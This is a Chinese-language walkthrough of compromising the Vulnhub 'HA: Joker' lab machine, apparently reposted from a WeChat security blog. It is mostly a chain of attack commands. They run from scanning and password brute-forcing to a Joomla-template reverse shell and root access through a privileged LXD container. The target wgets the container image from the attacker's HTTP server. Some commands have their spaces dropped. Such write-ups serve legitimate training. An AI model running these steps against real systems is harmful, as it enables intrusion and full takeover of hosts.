-
靶机
https://www.vulnhub.com/entry/ha-joker,379/
-
前期准备
运行环境:VM Workstation,VMEsxi
-
目标
获取 root 权限并且读取/root/final.txt
-
主机信息
在 VM Workstation 中打开导入的虚拟机,并打开kali 运行命令:
netdiscover -r 192.168.32.0/24
-
服务发现
nmap -sV -A -O -sS-p1-65535 192.168.32.141
发现开了80,8080;
-
目录枚举
python3 dirsearch.py -u http://192.168.32.141/ -e php,html,js,json,.txt
dirb http://192.168.32.141/ -X php,html,js,json,.txt
-
探测Web服务
访问 http://192.168.32.141/secret.txt
访问 http://192.168.32.141:8080
-
口令爆破
根据 secret.txt 中的提示信息,将/usr/share/wordlists/rockyou.txt.gz解压并截取前100作为口令,用户名取joker
head -n 100 rockyou.txt> dict.txt
使用 burpsuite 进行爆破:
得到用户名:joker,口令:hannah
访问 http://192.168.32.141:8080 ,输入用户名与口令后,发现是joomla 的 CMS
-
Getshell
访问http://192.168.32.141:8080/administrator,
进入后台输入默认用户名与口令:joomla ,登录后台。
在Extensions(扩展)菜单项选择模板管理,打开beez3模板,编辑index.php 获取 webshell;
将index.php里的代码替换为kali:/usr/share/webshells/php/php-reverse-shell.php的代码,修改IP 保存;
kali 监听1234 端口,访问http://192.168.32.141:8080(主页)获取shell
得到反弹 shell,尝试使用python pty 获取交互式 shell:
python -c 'importpty;pty.spawn("/bin/bash")' 或 python3 -c 'importpty;pty.spawn("/bin/bash")'
id
-
提权
使用 LXD 提升权限,kali 执行以下操作:
git clonehttps://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
注意:此处编译 alpine 时最好挂个梯子,否则速度感人
使用 Python 开启 http 服务
ls
python -m SimpleHTTPServer
靶机 shell 执行以下操作:
wgethttp://192.168.32.129:8000/alpine-v3.10-x86_64-20191218_2258.tar.gz
lxc image import./alpine-v3.10-x86_64-20191218_2258.tar.gz --alias myimage
lxc image list
最后,靶机 shell 执行以下命令获取flag
lxc init myimage ignite-c security.privileged=true
lxc config device add ignite mydevice disksource=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
cd /mnt/root/root
ls
cat final.txt
原文始发于微信公众号(SK安全实验室):Vulnhub 靶机渗透之 Joker
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论